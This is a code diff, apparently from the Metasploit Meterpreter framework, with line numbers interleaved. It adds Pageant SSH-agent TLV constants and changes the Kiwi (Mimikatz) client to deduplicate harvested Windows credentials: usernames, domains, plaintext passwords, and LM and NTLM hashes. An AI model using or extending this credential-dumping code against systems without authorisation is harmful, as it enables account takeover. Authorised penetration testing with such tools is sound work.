+ TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 87)
81
+ TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 88)
82
+ TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 89)
83
+
75
84
  TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90)
76
85
  TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91)
77
86
  TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92)
@@ -2,6 +2,7 @@
2
2
 
3
3
  require 'rex/post/meterpreter/extensions/kiwi/tlv'
4
4
  require 'rexml/document'
5
+ require 'set'
5
6
 
6
7
  module Rex
7
8
  module Post
@@ -283,9 +284,12 @@ class Kiwi < Extension
283
284
  request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id)
284
285
  response = client.send_request(request)
285
286
 
287
+ # keep track of unique entries
288
+ uniques = Set.new
289
+
286
290
  results = []
287
291
  response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r|
288
- results << {
292
+ result = {
289
293
  :username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME),
290
294
  :domain => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN),
291
295
  :password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD),
@@ -294,6 +298,17 @@ class Kiwi < Extension
294
298
  :lm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH),
295
299
  :ntlm => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH)
296
300
  }
301
+
302
+ # generate a "unique" set identifier based on the domain/user/pass. We
303
+ # don't use the whole object because the auth hi/low might be different
304
+ # but everything else might be the same. Join with non-printable, as this
305
+ # can't appear in passwords anyway.
306
+ set_id = [result[:domain], result[:username], result[:password]].join("\x01")
307
+
308
+ # only add to the result list if we don't already have it
309
+ if uniques.add?(set_id)
310
+ results << result
311
+ end
297
312
  end
298
313
 
299
314
  return results